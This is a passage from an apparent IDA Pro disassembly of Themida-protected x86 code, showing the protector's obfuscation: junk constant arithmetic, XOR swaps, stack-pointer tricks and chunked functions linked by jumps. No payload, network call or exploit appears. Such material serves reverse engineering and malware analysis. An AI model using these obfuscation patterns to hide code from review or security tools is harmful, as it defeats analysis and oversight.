		or	ebp, 31977011h
		inc	ebp
		shr	ebp, 6
		sub	ebp, 1FFFDFBh
		add	ebx, ebp
		pop	ebp
		jmp	loc_55A04E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_5577F8:				; CODE XREF: sub_55B265-381Ej
		push	esi
		mov	esi, 2E5D2233h
		sub	ebx, esi
		pop	esi
		add	ebx, edx
		add	ebx, 2E5D2233h
		mov	edx, [esp+0]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		idiv	cx
		push	small 629Dh
		mov	word ptr [esp-6+arg_0+2], dx
		push	ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------


loc_557831:				; CODE XREF: Themida_:00552161j
		sub	eax, 599A4616h
		add	eax, 4F322718h
		add	eax, 3A1B6506h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 60187DE7h
		push	edx
		mov	edx, 30592414h
		inc	edx
		neg	edx
		xor	edx, 0DFC4DC7Fh
		or	ebx, edx
		pop	edx
		push	eax
		push	6D6Ch
		mov	[esp], ebx
		mov	ebx, 0F894050h
		jmp	loc_558B56
; ---------------------------------------------------------------------------


loc_557873:				; CODE XREF: Themida_:005544E2j
		push	cx
		jmp	loc_55913A
; ---------------------------------------------------------------------------


loc_55787A:				; CODE XREF: Themida_:0055D8F8j
		mov	esi, 47327807h
		dec	esi
		jmp	loc_55430E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_557885:				; CODE XREF: sub_55A0D6-36CBj
		shl	ecx, 4
		push	edx
		mov	edx, 29230267h
		jmp	loc_55645A
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_557893:				; CODE XREF: sub_55703A-17AEj
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_5548FB
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_553392
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_5578AD:				; CODE XREF: sub_55802B-13F2j
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_55B806
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_5578C1:				; CODE XREF: sub_5523E1+2F80j
		mov	ebp, esp
		push	eax
		jmp	loc_559ABA
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_5578C9:				; CODE XREF: Themida_:00556455j
		sub	ebp, 0B15BF58Fh
		jmp	loc_55750B
; ---------------------------------------------------------------------------


loc_5578D4:				; CODE XREF: Themida_:005570ADj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55B73C

; =============== S U B	R O U T	I N E =======================================



sub_5578E3	proc near		; CODE XREF: sub_55B7DE-2005j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00555995 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00555EBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A584 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C187 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055D099 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	eax, [esp+0]
		jmp	loc_55D099
sub_5578E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_5578F6:				; CODE XREF: sub_558326+45ACj
		push	eax
		jmp	loc_55C129
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_5578FC:				; CODE XREF: Themida_:00558779j
		pop	ebp
		or	esi, 0C6E3F2Eh
		add	esi, 0F9C7C0F2h
		jmp	loc_5542D0
; ---------------------------------------------------------------------------


loc_55790E:				; CODE XREF: Themida_:0055352Fj
		mov	ebx, edx
		pop	edx
		pop	edi
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_557AE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_557938:				; CODE XREF: sub_55CE17+3FBj
		xor	edx, 63FA15D7h
		or	edx, 34477730h
		add	edx, 4388080Dh
		mov	ebp, edx
		push	[esp-8+arg_4]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		sub	esi, 734514F4h
		sub	esi, ebp
		add	esi, 734514F4h
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 26E46126h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		not	[esp-0Ch+arg_8]
		pop	ebx
		jmp	loc_556BAD
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_557995:				; CODE XREF: Themida_:0055162Dj
		pop	ebp
		add	ecx, edi
		add	ecx, 1A512CEEh
		sub	ecx, 7F816E9Dh
		push	dword ptr [ecx]
		sub	dword ptr [esp], 6509199Fh
		pop	eax
		add	eax, 6509199Fh
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		push	7E174290h
		pop	esi
		add	esi, 1
		sub	esi, 1
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		jmp	loc_55460D
; ---------------------------------------------------------------------------


loc_5579D8:				; CODE XREF: Themida_:00558E69j
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_555512
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5579F0:				; CODE XREF: sub_55ABF6-13AEj
		add	esp, 4
		sub	bl, ah
		pop	ax
		sub	bl, 0A4h
		sub	bl, 63h
		add	bl, al
		jmp	loc_551553
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_557A07:				; CODE XREF: sub_552B28+A370j
		sub	al, bh
		jmp	loc_55A2F3
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_557A0E:				; CODE XREF: sub_55C87F-8D0Cj
		xor	ebx, 180B7E6Ch
		xor	edx, ebx
		pop	ebx
		jmp	loc_55D7BB
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_557A1C:				; CODE XREF: sub_55802B+548j
		add	esi, 4
		jmp	loc_559FE1
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557A27:				; CODE XREF: sub_55ABF6+1AFj
		add	al, 0DDh
		push	[esp-10h+arg_C]
		jmp	loc_55946C
; ---------------------------------------------------------------------------


loc_557A31:				; CODE XREF: sub_55ABF6-5A09j
		xor	edi, 4F61B71Bh
		jmp	loc_55A4BC
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B265


loc_557A3C:				; CODE XREF: sub_55B265-7B9Ej
		not	ebx
		sub	ebx, 0A462593Dh
		xor	edx, ebx
		pop	ebx
		jmp	loc_5577F8
; END OF FUNCTION CHUNK	FOR sub_55B265
; ---------------------------------------------------------------------------


loc_557A4C:				; CODE XREF: Themida_:00554A50j
		sub	eax, 61AB2645h
		mov	esi, eax
		pop	eax
		jmp	loc_558E15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557A59:				; CODE XREF: sub_55ABF6-4743j
		sub	ebx, 49B52E76h
		push	dword ptr [ebx]
		pop	ecx
		jmp	loc_55DA5F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_557A67:				; CODE XREF: sub_55D40D-1B78j
		sub	esi, 7DBBC714h
		mov	eax, esi
		pop	esi
		sub	esi, eax
		jmp	loc_5536D9
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_557A77:				; CODE XREF: sub_55314C+53BEj
		or	eax, eax
		jz	loc_555DFB
		push	dword ptr [edi+1Ch]
		push	[esp+4+var_4]
		jmp	loc_553A76
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551C53


loc_557A8A:				; CODE XREF: sub_551C53+8A88j
		mov	bh, 8Bh
		jmp	loc_5596B1
; END OF FUNCTION CHUNK	FOR sub_551C53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_557A91:				; CODE XREF: sub_558326+61Aj
		pop	esi
		rep movsd
		jmp	loc_55DBCD
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		jmp	loc_55AE7C
; ---------------------------------------------------------------------------


loc_557AB1:				; CODE XREF: Themida_:00553FBDj
		mov	esp, [esp]
		jmp	loc_557FA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_557AB9:				; CODE XREF: sub_55AE3A+1421j
		mov	dl, ah
		mov	bh, dl
		pop	edx
		pop	eax
		push	eax
		mov	ah, bh
		mov	dh, ah
		jmp	loc_558E24
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_557AC9:				; CODE XREF: Themida_:0055C216j
		pop	ecx
		push	ecx
		push	eax
		push	edx
		jmp	loc_555B4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E01


loc_557AD2:				; CODE XREF: sub_552E01+1j
		push	3E9Ch
		mov	[esp+8+var_8], ebx
		push	40A02EC5h
		pop	ebx
		inc	ebx
		not	ebx
		jmp	loc_55C988
; END OF FUNCTION CHUNK	FOR sub_552E01
; ---------------------------------------------------------------------------


loc_557AE8:				; CODE XREF: Themida_:00557933j
		mov	ebx, 2
		jmp	loc_55D39C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_557AF2:				; CODE XREF: sub_559D1D-3A1Cj
		not	ecx
		push	ebx
		jmp	loc_55D52F
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_557AFA:				; CODE XREF: sub_55389F+4646j
		add	edx, esi
		jmp	loc_551BF8
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_557B01:				; CODE XREF: sub_559D1D-82FDj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_55494A
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_557B17:				; CODE XREF: sub_556901-3485j
		add	esp, 4
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		jmp	loc_554BB5
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_557B2C:				; CODE XREF: sub_55AE3A+7EDj
		sub	dh, 70h
		and	ch, dh
		pop	edx
		xor	ch, 50h
		and	ch, 0D4h
		add	ch, 0EAh
		jmp	loc_55D070
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5545BE


loc_557B40:				; CODE XREF: sub_5545BE+6j
		pop	bx
		add	al, 30h
		add	al, dh
		sub	al, 30h
		sub	al, 98h
		push	ebx
		mov	bh, 0B3h
		jmp	loc_5583B7
; END OF FUNCTION CHUNK	FOR sub_5545BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_557B52:				; CODE XREF: sub_55B7DE-8CA8j
		pop	ebp
		shr	edi, 6
		sub	edi, 0A5281Fh
		add	ecx, 11E83C98h
		add	ecx, edi
		sub	ecx, 11E83C98h
		pop	edi
		xchg	ecx, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_5597C9
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_557B8A:				; CODE XREF: sub_55CE17-1DEEj
		push	[esp-10h+arg_C]
		push	[esp-0Ch+arg_8]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_55395E
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557BAA:				; CODE XREF: sub_55ABF6-608Bj
		add	edi, 68CC3B69h
		xor	edi, 0DD8F8E77h
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-6+arg_0+2], esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_551862
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_557BCE:				; CODE XREF: sub_553571+8632j
		shl	ebp, 8
		xor	ebp, 4A132402h
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_556641
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_557BE8:				; CODE XREF: sub_55BB30-2230j
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+0Ch+var_8]
		jmp	loc_554725
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------


loc_557BFE:				; CODE XREF: Themida_:00551E70j
		pop	eax
		jmp	loc_557E46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_557C04:				; CODE XREF: sub_55AE3A-8158j
		mov	dh, ch
		jmp	loc_552B50
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_557C0B:				; CODE XREF: sub_558326-6482j
		xchg	edx, edi
		push	esi
		jmp	loc_5595B5
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_557C13:				; CODE XREF: sub_55C1DB-176Bj
		add	ebx, 7957046Ch
		push	eax
		push	edi
		mov	edi, 111D73B0h
		dec	edi
		xor	edi, 463A53E5h
		jmp	loc_5585A1
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_557C2C:				; CODE XREF: Themida_:005575BDj
		pop	esp
		idiv	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	ecx
		mov	ecx, 617F6620h
		mov	edi, ecx
		pop	ecx
		push	edx
		push	esi
		mov	esi, 0A46C4h
		mov	edx, esi
		pop	esi
		add	edx, 5D0835BAh
		and	edx, 7B6653A9h
		jmp	loc_55BDB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_557C5D:				; CODE XREF: sub_554E9D+38F7j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	esi, 462B58BBh
		jmp	loc_551DC5
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_557C71:				; CODE XREF: Themida_:0055610Fj
		push	ecx
		jmp	loc_551809
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557C77:				; CODE XREF: sub_55ABF6-15BCj
		inc	edx
		shl	edx, 7
		and	edx, 1EFD6E4Dh
		xor	edx, 24B52BE2h
		add	ecx, edx
		pop	edx
		add	[ecx], eax
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	[esp-0Eh+arg_8+2]
		jmp	loc_551F78
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_557C9D:				; CODE XREF: Themida_:0055C797j
		pop	eax
		add	eax, 38B1F5Eh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55D52A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_557CB1:				; CODE XREF: sub_559249-10D1j
		add	ecx, edi
		add	ecx, 56B675D0h
		add	[ecx], esi
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		mov	esi, [esp+1Ch+var_1C]
		push	edi
		mov	edi, esp
		jmp	loc_557E60
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_557CCC:				; CODE XREF: Themida_:00552E7Aj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	6168h
		mov	[esp], ebx
		jmp	loc_55875E
; ---------------------------------------------------------------------------


loc_557CF2:				; CODE XREF: Themida_:00553DCDj
		mov	[esp], ecx
		jmp	loc_551700
; ---------------------------------------------------------------------------


loc_557CFA:				; CODE XREF: Themida_:0055C4EDj
		pop	ebx
		neg	esi
		add	esi, 1DB60BA1h
		jmp	loc_55B69C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_557D08:				; CODE XREF: sub_558326+3F28j
		pop	esi
		xor	ebx, 4A855430h
		add	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		sub	edi, 713D6694h
		jmp	loc_55C8B4
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_557D22:				; CODE XREF: sub_55314C+8C26j
		add	edi, 855FA68Bh
		mov	ecx, edi
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_55DCA5
; END OF FUNCTION CHUNK	FOR sub_55314C

; =============== S U B	R O U T	I N E =======================================



sub_557D32	proc near		; DATA XREF: Themida_:00551280o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055945B SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		jmp	loc_55945B
sub_557D32	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552716


loc_557D41:				; CODE XREF: sub_552716+4A91j
		mov	eax, esp
		add	eax, 4
		jmp	loc_55D90E
; END OF FUNCTION CHUNK	FOR sub_552716
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557D4D:				; CODE XREF: sub_55ABF6-3E2Dj
		shr	ecx, 3
		push	ebx
		mov	ebx, 148777A4h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_552D66
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_557D5E	proc near		; CODE XREF: sub_5550A6+28j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551B1C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00551BE0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00551EA9 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055247B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00552F2E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00552FA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005531C3 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005554BD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00555728 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00555E4C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00556E6C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00558047 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558C26 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00558D57 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005590A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559F3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559F9E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055A6BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B9A4 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 84ACFBA1h
		sub	edi, ebx
		jmp	loc_551B1C
sub_557D5E	endp

; ---------------------------------------------------------------------------


loc_557D6B:				; CODE XREF: Themida_:00554C8Bj
		pop	ebp
		push	esi
		jmp	loc_55B590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_557D72:				; CODE XREF: sub_556901+16FAj
		pop	[esp-4+arg_0]
		jmp	loc_55DD2B
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------


loc_557D7A:				; CODE XREF: Themida_:00553917j
		mov	ecx, ebp
		pop	ebp
		add	ecx, ebp
		jmp	loc_553D20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_557D84:				; CODE XREF: sub_552BA6+45B1j
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_553BB7
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, 1Ch
		push	ebx
		mov	ebx, 158F5221h
		shl	ebx, 4
		and	ebx, 36687389h
		jmp	loc_558054

; =============== S U B	R O U T	I N E =======================================



sub_557DAD	proc near		; CODE XREF: sub_55611A-2D56j

; FUNCTION CHUNK AT 0055530D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005566E2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055AB33 SIZE 00000006 BYTES

		push	ebx
		mov	bh, 0CFh
		not	bh
		and	bh, 20h
		dec	bh
		add	bh, 8Eh
		and	bh, 6Bh
		xor	bh, 7Dh
		mov	ah, bh
		jmp	loc_55AB33
sub_557DAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5536FD


loc_557DD6:				; CODE XREF: sub_5536FD+B68j
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_55C1AC
; END OF FUNCTION CHUNK	FOR sub_5536FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_557DE4:				; CODE XREF: sub_572DB1-2139Ej
		pop	ebx
		sub	al, 4
		add	al, 0DAh
		jmp	sub_55611A
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------


loc_557DEE:				; CODE XREF: Themida_:005573A4j
		pop	ecx
		push	ecx
		push	esp
		jmp	loc_559F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557DF6:				; CODE XREF: sub_55ABF6-1C2Dj
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	sub_552215
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_557E04:				; CODE XREF: Themida_:0055421Fj
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_557E1C:				; CODE XREF: sub_559249+380Fj
		add	esp, 4
		jmp	loc_55D5D8
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A1A7


loc_557E24:				; CODE XREF: sub_55A1A7-38ABj
		add	dh, 31h
		sub	al, 0B6h
		sub	al, 0A5h
		jmp	sub_5545BE
; END OF FUNCTION CHUNK	FOR sub_55A1A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_557E30:				; CODE XREF: sub_559249-4739j
		mov	eax, esi
		jmp	loc_554824
; ---------------------------------------------------------------------------


loc_557E37:				; CODE XREF: sub_559249-3419j
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		shr	eax, 0Bh
		jmp	loc_553356
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_557E46:				; CODE XREF: Themida_:00557BFFj
		add	cl, 0FFh
		jmp	loc_55484F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_557E4E:				; CODE XREF: sub_55A407+94j
		sub	esi, 8854BB6h
		jmp	loc_55B07E
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557E59:				; CODE XREF: sub_55ABF6-7CF5j
		xchg	ebx, esi
		jmp	loc_55D969
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_557E60:				; CODE XREF: sub_559249-1582j
		push	esi
		mov	esi, 444A5331h
		add	esi, 4FAE3D3Dh
		or	esi, 371F4992h
		dec	esi
		shr	esi, 4
		sub	esi, 0B7FFD9Bh
		add	edi, esi
		jmp	loc_558CD1
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_557E83:				; CODE XREF: Themida_:00554818j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55641E
; ---------------------------------------------------------------------------


loc_557E90:				; CODE XREF: Themida_:0055AF4Dj
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		jmp	loc_55CC07
; ---------------------------------------------------------------------------


loc_557E9C:				; CODE XREF: Themida_:0055D2E1j
		add	ecx, 42347900h
		push	eax
		mov	eax, 1C383A52h
		push	ebx
		mov	ebx, 4CF521ECh
		sub	ebx, 1796C07h
		sub	ebx, 77576846h
		jmp	loc_55AB47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_557EBF:				; CODE XREF: sub_552791+9AEAj
		push	eax
		mov	ah, 0CCh
		sub	ah, 76h
		jmp	loc_55808E
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_557ECA:				; CODE XREF: sub_55AABB-40A2j
		pop	esi
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	esp
		pop	[esp+8+var_8]
		jmp	loc_5568E6
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_557ED8:				; CODE XREF: sub_55389F+49j
		push	79FCh
		mov	[esp+8+var_8], esi
		mov	esi, 4
		jmp	loc_557AFA
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6BEh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		push	ebp
		mov	ebp, 76F3652Dh
		push	ebp
		mov	edi, [esp]
		jmp	loc_553316
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9E1


loc_557F0E:				; CODE XREF: sub_55D9E1+10j
		push	esp
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		mov	edx, 2D1E3A0Ch
		add	edx, 6DED64D1h
		jmp	sub_55163B
; END OF FUNCTION CHUNK	FOR sub_55D9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557F29:				; CODE XREF: sub_55ABF6+6E2j
		add	dword ptr [esp+0], 4
		jmp	loc_553A13
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_557F32:				; CODE XREF: sub_55CE17-AC17j
		push	eax
		jmp	loc_55B24A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_557F38:				; CODE XREF: sub_55163B+A8CBj
		xor	edx, 3CAD2420h
		jmp	loc_55BF64
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		jmp	loc_55D375
